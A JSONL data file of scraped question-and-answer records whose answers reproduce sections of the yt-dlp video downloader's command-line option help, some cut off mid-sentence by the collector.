{"id": "gh_c06e1df9e499", "question": "How to: General Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "-h, --help                      Print this help text and exit\n    --version                       Print program version and exit\n    -U, --update                    Update this program to the latest version\n    --no-update                     Do not check for updates (default)\n    --update-to [CHANNEL]@[TAG]     Upgrade/downgrade to a specific version.\n                                    CHANNEL can be a repository as well. CHANNEL\n                                    and TAG default to \"stable\" and \"latest\"\n                                    respectively if omitted; See \"UPDATE\" for\n                                    details. Supported channels: stable,\n                                    nightly, master\n    -i, --ignore-errors             Ignore download and postprocessing errors.\n                                    The download will be considered successful\n                                    even if the postprocessing fails\n    --no-abort-on-error             Continue with next video on download errors;\n                                    e.g. to skip unavailable videos in a\n                                    playlist (default)\n    --abort-on-error                Abort downloading of further videos if an\n                                    error occurs (Alias: --no-ignore-errors)\n    --list-extractors               List all supported extractors and exit\n    --extractor-descriptions        Output descriptions of all supported\n                                    extractors and exit\n    --use-extractors NAMES          Extractor names to use separated by commas.\n                                    You can also use regexes, \"all\", \"default\"\n                                    and \"end\" (end URL matching); e.g. --ies\n                                    \"holodex.*,end,youtube\". Prefix the name\n                                    with a \"-\" to exclude it, e.g. --ies\n                                    default,-generic. Use --list-extractors for\n                                    a list of extractor names. (Alias: --ies)\n    --default-search PREFIX         Use this prefix for unqualified URLs. E.g.\n                                    \"gvsearch2:python\" downloads two videos from\n                                    google videos for the search term \"python\".\n                                    Use the value \"auto\" to let yt-dlp guess\n                                    (\"auto_warning\" to emit a warning when\n                                    guessing). \"error\" just throws an error. The\n                                    default value \"fixup_error\" repairs broken\n                                    URLs, but emits an error if this is not\n                                    possible instead of searching\n    --ignore-config                 Don't load any more configuration files\n                                    except those given to --config-locations.\n                                    For backward compatibility, if this option\n                                    is found inside the system configuration\n                                    file, the user configuration is not loaded.\n                                    (Alias: --no-config)\n    --no-config-locations           Do not load any custom configuration files\n                                    (default). When given inside a configuration\n                                    file, ignore all previous --config-locations\n                                    defined in the current file\n    --config-locations PATH         Location of the main configuration file;\n                                    either the path to the config or its\n                                    containing directory (\"-\" for stdin). Can be\n                                    used multiple times and inside other\n                                    configuration files\n    --plugin-dirs DIR               Path to an additional directory to search\n                                    for plugins. This option can be used\n                                    multiple times to add multiple directories.\n                                    Use \"default\" to search the default plugin\n                                    directories (default)\n    --no-plugin-dirs                Clear plugin directories to search,\n                                    including defaults and those provided by\n                                    previous --plugin-dirs\n    --js-runtimes RUNTIME[:PATH]    Additional JavaScript runtime to enable,\n                                    with an optional location for the runtime\n                                    (either the path to the binary or its\n                                    containing directory). This option can be\n                                    used multiple times to enable multiple\n                                    runtimes. Supported runtimes are (in order\n                                    of priority, from highest to lowest): deno,", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417865"}
{"id": "gh_f6f14c08c08b", "question": "How to: Network Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "--proxy URL                     Use the specified HTTP/HTTPS/SOCKS proxy. To\n                                    enable SOCKS proxy, specify a proper scheme,\n                                    e.g. socks5://user:pass@127.0.0.1:1080/.\n                                    Pass in an empty string (--proxy \"\") for\n                                    direct connection\n    --socket-timeout SECONDS        Time to wait before giving up, in seconds\n    --source-address IP             Client-side IP address to bind to\n    --impersonate CLIENT[:OS]       Client to impersonate for requests. E.g.\n                                    chrome, chrome-110, chrome:windows-10. Pass\n                                    --impersonate=\"\" to impersonate any client.\n                                    Note that forcing impersonation for all\n                                    requests may have a detrimental impact on\n                                    download speed and stability\n    --list-impersonate-targets      List available clients to impersonate.\n    -4, --force-ipv4                Make all connections via IPv4\n    -6, --force-ipv6                Make all connections via IPv6\n    --enable-file-urls              Enable file:// URLs. This is disabled by\n                                    default for security reasons.", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417873"}
{"id": "gh_f5240d123193", "question": "How to: Geo-restriction:", "question_body": "About yt-dlp/yt-dlp", "answer": "--geo-verification-proxy URL    Use this proxy to verify the IP address for\n                                    some geo-restricted sites. The default proxy\n                                    specified by --proxy (or none, if the option\n                                    is not present) is used for the actual\n                                    downloading\n    --xff VALUE                     How to fake X-Forwarded-For HTTP header to\n                                    try bypassing geographic restriction. One of\n                                    \"default\" (only when known to be useful),\n                                    \"never\", an IP block in CIDR notation, or a\n                                    two-letter ISO 3166-2 country code", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417878"}
{"id": "gh_29a53369d0ce", "question": "How to: Video Selection:", "question_body": "About yt-dlp/yt-dlp", "answer": "-I, --playlist-items ITEM_SPEC  Comma-separated playlist_index of the items\n                                    to download. You can specify a range using\n                                    \"[START]:[STOP][:STEP]\". For backward\n                                    compatibility, START-STOP is also supported.\n                                    Use negative indices to count from the right\n                                    and negative STEP to download in reverse\n                                    order. E.g. \"-I 1:3,7,-5::2\" used on a\n                                    playlist of size 15 will download the items\n                                    at index 1,2,3,7,11,13,15\n    --min-filesize SIZE             Abort download if filesize is smaller than\n                                    SIZE, e.g. 50k or 44.6M\n    --max-filesize SIZE             Abort download if filesize is larger than\n                                    SIZE, e.g. 50k or 44.6M\n    --date DATE                     Download only videos uploaded on this date.\n                                    The date can be \"YYYYMMDD\" or in the format \n                                    [now|today|yesterday][-N[day|week|month|year]].\n                                    E.g. \"--date today-2weeks\" downloads only\n                                    videos uploaded on the same day two weeks ago\n    --datebefore DATE               Download only videos uploaded on or before\n                                    this date. The date formats accepted are the\n                                    same as --date\n    --dateafter DATE                Download only videos uploaded on or after\n                                    this date. The date formats accepted are the\n                                    same as --date\n    --match-filters FILTER          Generic video filter. Any \"OUTPUT TEMPLATE\"\n                                    field can be compared with a number or a\n                                    string using the operators defined in\n                                    \"Filtering Formats\". You can also simply\n                                    specify a field to match if the field is\n                                    present, use \"!field\" to check if the field\n                                    is not present, and \"&\" to check multiple\n                                    conditions. Use a \"\\\" to escape \"&\" or\n                                    quotes if needed. If used multiple times,\n                                    the filter matches if at least one of the\n                                    conditions is met. E.g. --match-filters\n                                    !is_live --match-filters \"like_count>?100 &\n                                    description~='(?i)\\bcats \\& dogs\\b'\" matches\n                                    only videos that are not live OR those that\n                                    have a like count more than 100 (or the like\n                                    field is not available) and also has a\n                                    description that contains the phrase \"cats &\n                                    dogs\" (caseless). Use \"--match-filters -\" to\n                                    interactively ask whether to download each\n                                    video\n    --no-match-filters              Do not use any --match-filters (default)\n    --break-match-filters FILTER    Same as \"--match-filters\" but stops the\n                                    download process when a video is rejected\n    --no-break-match-filters        Do not use any --break-match-filters (default)\n    --no-playlist                   Download only the video, if the URL refers\n                                    to a video and a playlist\n    --yes-playlist                  Download the playlist, if the URL refers to\n                                    a video and a playlist\n    --age-limit YEARS               Download only videos suitable for the given\n                                    age\n    --download-archive FILE         Download only videos not listed in the\n                                    archive file. Record the IDs of all\n                                    downloaded videos in it\n    --no-download-archive           Do not use archive file (default)\n    --max-downloads NUMBER          Abort after downloading NUMBER files\n    --break-on-existing             Stop the download process when encountering\n                                    a file that is in the archive supplied with\n                                    the --download-archive option\n    --no-break-on-existing          Do not stop the download process when\n                                    encountering a file that is in the archive\n                                    (default)\n    --break-per-input               Alters --max-downloads, --break-on-existing,\n                                    --break-match-filters, and autonumber to", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417892"}
{"id": "gh_f1c4e1f1bf83", "question": "How to: Download Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "-N, --concurrent-fragments N    Number of fragments of a dash/hlsnative\n                                    video that should be downloaded concurrently\n                                    (default is 1)\n    -r, --limit-rate RATE           Maximum download rate in bytes per second,\n                                    e.g. 50K or 4.2M\n    --throttled-rate RATE           Minimum download rate in bytes per second\n                                    below which throttling is assumed and the\n                                    video data is re-extracted, e.g. 100K\n    -R, --retries RETRIES           Number of retries (default is 10), or\n                                    \"infinite\"\n    --file-access-retries RETRIES   Number of times to retry on file access\n                                    error (default is 3), or \"infinite\"\n    --fragment-retries RETRIES      Number of retries for a fragment (default is\n                                    10), or \"infinite\" (DASH, hlsnative and ISM)\n    --retry-sleep [TYPE:]EXPR       Time to sleep between retries in seconds\n                                    (optionally) prefixed by the type of retry\n                                    (http (default), fragment, file_access,\n                                    extractor) to apply the sleep to. EXPR can\n                                    be a number, linear=START[:END[:STEP=1]] or\n                                    exp=START[:END[:BASE=2]]. This option can be\n                                    used multiple times to set the sleep for the\n                                    different retry types, e.g. --retry-sleep\n                                    linear=1::2 --retry-sleep fragment:exp=1:20\n    --skip-unavailable-fragments    Skip unavailable fragments for DASH,\n                                    hlsnative and ISM downloads (default)\n                                    (Alias: --no-abort-on-unavailable-fragments)\n    --abort-on-unavailable-fragments\n                                    Abort download if a fragment is unavailable\n                                    (Alias: --no-skip-unavailable-fragments)\n    --keep-fragments                Keep downloaded fragments on disk after\n                                    downloading is finished\n    --no-keep-fragments             Delete downloaded fragments after\n                                    downloading is finished (default)\n    --buffer-size SIZE              Size of download buffer, e.g. 1024 or 16K\n                                    (default is 1024)\n    --resize-buffer                 The buffer size is automatically resized\n                                    from an initial value of --buffer-size\n                                    (default)\n    --no-resize-buffer              Do not automatically adjust the buffer size\n    --http-chunk-size SIZE          Size of a chunk for chunk-based HTTP\n                                    downloading, e.g. 10485760 or 10M (default\n                                    is disabled). May be useful for bypassing\n                                    bandwidth throttling imposed by a webserver\n                                    (experimental)\n    --playlist-random               Download playlist videos in random order\n    --lazy-playlist                 Process entries in the playlist as they are\n                                    received. This disables n_entries,\n                                    --playlist-random and --playlist-reverse\n    --no-lazy-playlist              Process videos in the playlist only after\n                                    the entire playlist is parsed (default)\n    --hls-use-mpegts                Use the mpegts container for HLS videos;\n                                    allowing some players to play the video\n                                    while downloading, and reducing the chance\n                                    of file corruption if download is\n                                    interrupted. This is enabled by default for\n                                    live streams\n    --no-hls-use-mpegts             Do not use the mpegts container for HLS\n                                    videos. This is default when not downloading\n                                    live streams\n    --download-sections REGEX       Download only chapters that match the\n                                    regular expression. A \"*\" prefix denotes\n                                    time-range instead of chapter. Negative\n                                    timestamps are calculated from the end.\n                                    \"*from-url\" can be used to download between\n                                    the \"start_time\" and \"end_time\" extracted\n                                    from the URL. Needs ffmpeg. This option can\n                                    be used multiple times to download multiple\n                                    sections, e.g. --download-sections", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417908"}
{"id": "gh_32cb725b3af5", "question": "How to: Filesystem Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "-a, --batch-file FILE           File containing URLs to download (\"-\" for\n                                    stdin), one URL per line. Lines starting\n                                    with \"#\", \";\" or \"]\" are considered as\n                                    comments and ignored\n    --no-batch-file                 Do not read URLs from batch file (default)\n    -P, --paths [TYPES:]PATH        The paths where the files should be\n                                    downloaded. Specify the type of file and the\n                                    path separated by a colon \":\". All the same\n                                    TYPES as --output are supported.\n                                    Additionally, you can also provide \"home\"\n                                    (default) and \"temp\" paths. All intermediary\n                                    files are first downloaded to the temp path\n                                    and then the final files are moved over to\n                                    the home path after download is finished.\n                                    This option is ignored if --output is an\n                                    absolute path\n    -o, --output [TYPES:]TEMPLATE   Output filename template; see \"OUTPUT\n                                    TEMPLATE\" for details\n    --output-na-placeholder TEXT    Placeholder for unavailable fields in\n                                    --output (default: \"NA\")\n    --restrict-filenames            Restrict filenames to only ASCII characters,\n                                    and avoid \"&\" and spaces in filenames\n    --no-restrict-filenames         Allow Unicode characters, \"&\" and spaces in\n                                    filenames (default)\n    --windows-filenames             Force filenames to be Windows-compatible\n    --no-windows-filenames          Sanitize filenames only minimally\n    --trim-filenames LENGTH         Limit the filename length (excluding\n                                    extension) to the specified number of\n                                    characters\n    -w, --no-overwrites             Do not overwrite any files\n    --force-overwrites              Overwrite all video and metadata files. This\n                                    option includes --no-continue\n    --no-force-overwrites           Do not overwrite the video, but overwrite\n                                    related files (default)\n    -c, --continue                  Resume partially downloaded files/fragments\n                                    (default)\n    --no-continue                   Do not resume partially downloaded\n                                    fragments. If the file is not fragmented,\n                                    restart download of the entire file\n    --part                          Use .part files instead of writing directly\n                                    into output file (default)\n    --no-part                       Do not use .part files - write directly into\n                                    output file\n    --mtime                         Use the Last-modified header to set the file\n                                    modification time\n    --no-mtime                      Do not use the Last-modified header to set\n                                    the file modification time (default)\n    --write-description             Write video description to a .description file\n    --no-write-description          Do not write video description (default)\n    --write-info-json               Write video metadata to a .info.json file\n                                    (this may contain personal information)\n    --no-write-info-json            Do not write video metadata (default)\n    --write-playlist-metafiles      Write playlist metadata in addition to the\n                                    video metadata when using --write-info-json,\n                                    --write-description etc. (default)\n    --no-write-playlist-metafiles   Do not write playlist metadata when using\n                                    --write-info-json, --write-description etc.\n    --clean-info-json               Remove some internal metadata such as\n                                    filenames from the infojson (default)\n    --no-clean-info-json            Write all fields to the infojson\n    --write-comments                Retrieve video comments to be placed in the\n                                    infojson. The comments are fetched even\n                                    without this option if the extraction is\n                                    known to be quick (Alias: --get-comments)\n    --no-write-comments             Do not retrieve video comments unless the\n                                    extraction is known to be quick (Alias:\n                                    --no-get-comments)\n    --load-info-json FILE           JSON file containing the video information\n                                    (created with the \"--write-info", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417924"}
{"id": "gh_97cf2b169ceb", "question": "How to: Thumbnail Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "--write-thumbnail               Write thumbnail image to disk\n    --no-write-thumbnail            Do not write thumbnail image to disk (default)\n    --write-all-thumbnails          Write all thumbnail image formats to disk\n    --list-thumbnails               List available thumbnails of each video.\n                                    Simulate unless --no-simulate is used", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417930"}
{"id": "gh_beb3c651d562", "question": "How to: Internet Shortcut Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "--write-link                    Write an internet shortcut file, depending\n                                    on the current platform (.url, .webloc or\n                                    .desktop). The URL may be cached by the OS\n    --write-url-link                Write a .url Windows internet shortcut. The\n                                    OS caches the URL based on the file path\n    --write-webloc-link             Write a .webloc macOS internet shortcut\n    --write-desktop-link            Write a .desktop Linux internet shortcut", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417935"}
{"id": "gh_7054e389f413", "question": "How to: Verbosity and Simulation Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "-q, --quiet                     Activate quiet mode. If used with --verbose,\n                                    print the log to stderr\n    --no-quiet                      Deactivate quiet mode. (Default)\n    --no-warnings                   Ignore warnings\n    -s, --simulate                  Do not download the video and do not write\n                                    anything to disk\n    --no-simulate                   Download the video even if printing/listing\n                                    options are used\n    --ignore-no-formats-error       Ignore \"No video formats\" error. Useful for\n                                    extracting metadata even if the videos are\n                                    not actually available for download\n                                    (experimental)\n    --no-ignore-no-formats-error    Throw error when no downloadable video\n                                    formats are found (default)\n    --skip-download                 Do not download the video but write all\n                                    related files (Alias: --no-download)\n    -O, --print [WHEN:]TEMPLATE     Field name or output template to print to\n                                    screen, optionally prefixed with when to\n                                    print it, separated by a \":\". Supported\n                                    values of \"WHEN\" are the same as that of\n                                    --use-postprocessor (default: video).\n                                    Implies --quiet. Implies --simulate unless\n                                    --no-simulate or later stages of WHEN are\n                                    used. This option can be used multiple times\n    --print-to-file [WHEN:]TEMPLATE FILE\n                                    Append given template to the file. The\n                                    values of WHEN and TEMPLATE are the same as\n                                    that of --print. FILE uses the same syntax\n                                    as the output template. This option can be\n                                    used multiple times\n    -j, --dump-json                 Quiet, but print JSON information for each\n                                    video. Simulate unless --no-simulate is\n                                    used. See \"OUTPUT TEMPLATE\" for a\n                                    description of available keys\n    -J, --dump-single-json          Quiet, but print JSON information for each\n                                    URL or infojson passed. Simulate unless\n                                    --no-simulate is used. If the URL refers to\n                                    a playlist, the whole playlist information\n                                    is dumped in a single line\n    --force-write-archive           Force download archive entries to be written\n                                    as far as no errors occur, even if -s or\n                                    another simulation option is used (Alias:\n                                    --force-download-archive)\n    --newline                       Output progress bar as new lines\n    --no-progress                   Do not print progress bar\n    --progress                      Show progress bar, even if in quiet mode\n    --console-title                 Display progress in console titlebar\n    --progress-template [TYPES:]TEMPLATE\n                                    Template for progress outputs, optionally\n                                    prefixed with one of \"download:\" (default),\n                                    \"download-title:\" (the console title),\n                                    \"postprocess:\",  or \"postprocess-title:\".\n                                    The video's fields are accessible under the\n                                    \"info\" key and the progress attributes are\n                                    accessible under \"progress\" key. E.g.\n                                    --console-title --progress-template\n                                    \"download-title:%(info.id)s-%(progress.eta)s\"\n    --progress-delta SECONDS        Time between progress output (default: 0)\n    -v, --verbose                   Print various debugging information\n    --dump-pages                    Print downloaded pages encoded using base64\n                                    to debug problems (very verbose)\n    --write-pages                   Write downloaded intermediary pages to files\n                                    in the current directory to debug problems\n    --print-traffic                 Display sent and read HTTP traffic", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417947"}
{"id": "gh_53824c5b5127", "question": "How to: Workarounds:", "question_body": "About yt-dlp/yt-dlp", "answer": "--encoding ENCODING             Force the specified encoding (experimental)\n    --legacy-server-connect         Explicitly allow HTTPS connection to servers\n                                    that do not support RFC 5746 secure\n                                    renegotiation\n    --no-check-certificates         Suppress HTTPS certificate validation\n    --prefer-insecure               Use an unencrypted connection to retrieve\n                                    information about the video (Currently\n                                    supported only for YouTube)\n    --add-headers FIELD:VALUE       Specify a custom HTTP header and its value,\n                                    separated by a colon \":\". You can use this\n                                    option multiple times\n    --bidi-workaround               Work around terminals that lack\n                                    bidirectional text support. Requires bidiv\n                                    or fribidi executable in PATH\n    --sleep-requests SECONDS        Number of seconds to sleep between requests\n                                    during data extraction\n    --sleep-interval SECONDS        Number of seconds to sleep before each\n                                    download. This is the minimum time to sleep\n                                    when used along with --max-sleep-interval\n                                    (Alias: --min-sleep-interval)\n    --max-sleep-interval SECONDS    Maximum number of seconds to sleep. Can only\n                                    be used along with --min-sleep-interval\n    --sleep-subtitles SECONDS       Number of seconds to sleep before each\n                                    subtitle download", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417955"}
{"id": "gh_dd9998d81184", "question": "How to: Video Format Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "-f, --format FORMAT             Video format code, see \"FORMAT SELECTION\"\n                                    for more details\n    -S, --format-sort SORTORDER     Sort the formats by the fields given, see\n                                    \"Sorting Formats\" for more details\n    --format-sort-force             Force user specified sort order to have\n                                    precedence over all fields, see \"Sorting\n                                    Formats\" for more details (Alias: --S-force)\n    --no-format-sort-force          Some fields have precedence over the user\n                                    specified sort order (default)\n    --video-multistreams            Allow multiple video streams to be merged\n                                    into a single file\n    --no-video-multistreams         Only one video stream is downloaded for each\n                                    output file (default)\n    --audio-multistreams            Allow multiple audio streams to be merged\n                                    into a single file\n    --no-audio-multistreams         Only one audio stream is downloaded for each\n                                    output file (default)\n    --prefer-free-formats           Prefer video formats with free containers\n                                    over non-free ones of the same quality. Use\n                                    with \"-S ext\" to strictly prefer free\n                                    containers irrespective of quality\n    --no-prefer-free-formats        Don't give any special preference to free\n                                    containers (default)\n    --check-formats                 Make sure formats are selected only from\n                                    those that are actually downloadable\n    --check-all-formats             Check all formats for whether they are\n                                    actually downloadable\n    --no-check-formats              Do not check that the formats are actually\n                                    downloadable\n    -F, --list-formats              List available formats of each video.\n                                    Simulate unless --no-simulate is used\n    --merge-output-format FORMAT    Containers that may be used when merging\n                                    formats, separated by \"/\", e.g. \"mp4/mkv\".\n                                    Ignored if no merge is required. (currently\n                                    supported: avi, flv, mkv, mov, mp4, webm)", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417964"}
{"id": "gh_e278ef6804fe", "question": "How to: Subtitle Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "--write-subs                    Write subtitle file\n    --no-write-subs                 Do not write subtitle file (default)\n    --write-auto-subs               Write automatically generated subtitle file\n                                    (Alias: --write-automatic-subs)\n    --no-write-auto-subs            Do not write auto-generated subtitles\n                                    (default) (Alias: --no-write-automatic-subs)\n    --list-subs                     List available subtitles of each video.\n                                    Simulate unless --no-simulate is used\n    --sub-format FORMAT             Subtitle format; accepts formats preference\n                                    separated by \"/\", e.g. \"srt\" or \"ass/srt/best\"\n    --sub-langs LANGS               Languages of the subtitles to download (can\n                                    be regex) or \"all\" separated by commas, e.g.\n                                    --sub-langs \"en.*,ja\" (where \"en.*\" is a\n                                    regex pattern that matches \"en\" followed by\n                                    0 or more of any character). You can prefix\n                                    the language code with a \"-\" to exclude it\n                                    from the requested languages, e.g. --sub-\n                                    langs all,-live_chat. Use --list-subs for a\n                                    list of available language tags", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417970"}
{"id": "gh_4fc6193458fa", "question": "How to: Authentication Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "-u, --username USERNAME         Login with this account ID\n    -p, --password PASSWORD         Account password. If this option is left\n                                    out, yt-dlp will ask interactively\n    -2, --twofactor TWOFACTOR       Two-factor authentication code\n    -n, --netrc                     Use .netrc authentication data\n    --netrc-location PATH           Location of .netrc authentication data;\n                                    either the path or its containing directory.\n                                    Defaults to ~/.netrc\n    --netrc-cmd NETRC_CMD           Command to execute to get the credentials\n                                    for an extractor.\n    --video-password PASSWORD       Video-specific password\n    --ap-mso MSO                    Adobe Pass multiple-system operator (TV\n                                    provider) identifier, use --ap-list-mso for\n                                    a list of available MSOs\n    --ap-username USERNAME          Multiple-system operator account login\n    --ap-password PASSWORD          Multiple-system operator account password.\n                                    If this option is left out, yt-dlp will ask\n                                    interactively\n    --ap-list-mso                   List all supported multiple-system operators\n    --client-certificate CERTFILE   Path to client certificate file in PEM\n                                    format. May include the private key\n    --client-certificate-key KEYFILE\n                                    Path to private key file for client\n                                    certificate\n    --client-certificate-password PASSWORD\n                                    Password for client certificate private key,\n                                    if encrypted. If not provided, and the key\n                                    is encrypted, yt-dlp will ask interactively", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.417978"}
{"id": "gh_e0caa65ced67", "question": "How to: Post-Processing Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "-x, --extract-audio             Convert video files to audio-only files\n                                    (requires ffmpeg and ffprobe)\n    --audio-format FORMAT           Format to convert the audio to when -x is\n                                    used. (currently supported: best (default),\n                                    aac, alac, flac, m4a, mp3, opus, vorbis,\n                                    wav). You can specify multiple rules using\n                                    similar syntax as --remux-video\n    --audio-quality QUALITY         Specify ffmpeg audio quality to use when\n                                    converting the audio with -x. Insert a value\n                                    between 0 (best) and 10 (worst) for VBR or a\n                                    specific bitrate like 128K (default 5)\n    --remux-video FORMAT            Remux the video into another container if\n                                    necessary (currently supported: avi, flv,\n                                    gif, mkv, mov, mp4, webm, aac, aiff, alac,\n                                    flac, m4a, mka, mp3, ogg, opus, vorbis,\n                                    wav). If the target container does not\n                                    support the video/audio codec, remuxing will\n                                    fail. You can specify multiple rules; e.g.\n                                    \"aac>m4a/mov>mp4/mkv\" will remux aac to m4a,\n                                    mov to mp4 and anything else to mkv\n    --recode-video FORMAT           Re-encode the video into another format if\n                                    necessary. The syntax and supported formats\n                                    are the same as --remux-video\n    --postprocessor-args NAME:ARGS  Give these arguments to the postprocessors.\n                                    Specify the postprocessor/executable name\n                                    and the arguments separated by a colon \":\"\n                                    to give the argument to the specified\n                                    postprocessor/executable. Supported PP are:\n                                    Merger, ModifyChapters, SplitChapters,\n                                    ExtractAudio, VideoRemuxer, VideoConvertor,\n                                    Metadata, EmbedSubtitle, EmbedThumbnail,\n                                    SubtitlesConvertor, ThumbnailsConvertor,\n                                    FixupStretched, FixupM4a, FixupM3u8,\n                                    FixupTimestamp and FixupDuration. The\n                                    supported executables are: AtomicParsley,\n                                    FFmpeg and FFprobe. You can also specify\n                                    \"PP+EXE:ARGS\" to give the arguments to the\n                                    specified executable only when being used by\n                                    the specified postprocessor. Additionally,\n                                    for ffmpeg/ffprobe, \"_i\"/\"_o\" can be\n                                    appended to the prefix optionally followed\n                                    by a number to pass the argument before the\n                                    specified input/output file, e.g. --ppa\n                                    \"Merger+ffmpeg_i1:-v quiet\". You can use\n                                    this option multiple times to give different\n                                    arguments to different postprocessors.\n                                    (Alias: --ppa)\n    -k, --keep-video                Keep the intermediate video file on disk\n                                    after post-processing\n    --no-keep-video                 Delete the intermediate video file after\n                                    post-processing (default)\n    --post-overwrites               Overwrite post-processed files (default)\n    --no-post-overwrites            Do not overwrite post-processed files\n    --embed-subs                    Embed subtitles in the video (only for mp4,\n                                    webm and mkv videos)\n    --no-embed-subs                 Do not embed subtitles (default)\n    --embed-thumbnail               Embed thumbnail in the video as cover art\n    --no-embed-thumbnail            Do not embed thumbnail (default)\n    --embed-metadata                Embed metadata to the video file. Also\n                                    embeds chapters/infojson if present unless\n                                    --no-embed-chapters/--no-embed-info-json are\n                                    used (Alias: --add-metadata)\n    --no-embed-metadata             Do not add metadata to file (default)\n                                    (Alias: --no-add-metadata)\n    --embed-chapters                Add chapter markers to the video file\n                                    (Alias: --add-chapters)\n    --no-embed-chapters             Do not add chapter marke", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418003"}
{"id": "gh_0f25ec52b98d", "question": "How to: SponsorBlock Options:", "question_body": "About yt-dlp/yt-dlp", "answer": "Make chapter entries for, or remove various segments (sponsor,\n    introductions, etc.) from downloaded YouTube videos using the\n    [SponsorBlock API](https://sponsor.ajay.app)\n\n    --sponsorblock-mark CATS        SponsorBlock categories to create chapters\n                                    for, separated by commas. Available\n                                    categories are sponsor, intro, outro,\n                                    selfpromo, preview, filler, interaction,\n                                    music_offtopic, hook, poi_highlight,\n                                    chapter, all and default (=all). You can\n                                    prefix the category with a \"-\" to exclude\n                                    it. See [1] for descriptions of the\n                                    categories. E.g. --sponsorblock-mark\n                                    all,-preview\n                                    [1] https://wiki.sponsor.ajay.app/w/Segment_Categories\n    --sponsorblock-remove CATS      SponsorBlock categories to be removed from\n                                    the video file, separated by commas. If a\n                                    category is present in both mark and remove,\n                                    remove takes precedence. The syntax and\n                                    available categories are the same as for\n                                    --sponsorblock-mark except that \"default\"\n                                    refers to \"all,-filler\" and poi_highlight,\n                                    chapter are not available\n    --sponsorblock-chapter-title TEMPLATE\n                                    An output template for the title of the\n                                    SponsorBlock chapters created by\n                                    --sponsorblock-mark. The only available\n                                    fields are start_time, end_time, category,\n                                    categories, name, category_names. Defaults\n                                    to \"[SponsorBlock]: %(category_names)l\"\n    --no-sponsorblock               Disable both --sponsorblock-mark and\n                                    --sponsorblock-remove\n    --sponsorblock-api URL          SponsorBlock API location, defaults to\n                                    https://sponsor.ajay.app", "tags": ["yt-dlp"], "source": "github_gists", "category": "yt-dlp", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 142071, "answer_score": 10, "has_code": true, "url": "https://github.com/yt-dlp/yt-dlp", "collected_at": "2026-01-17T08:20:04.418012"}
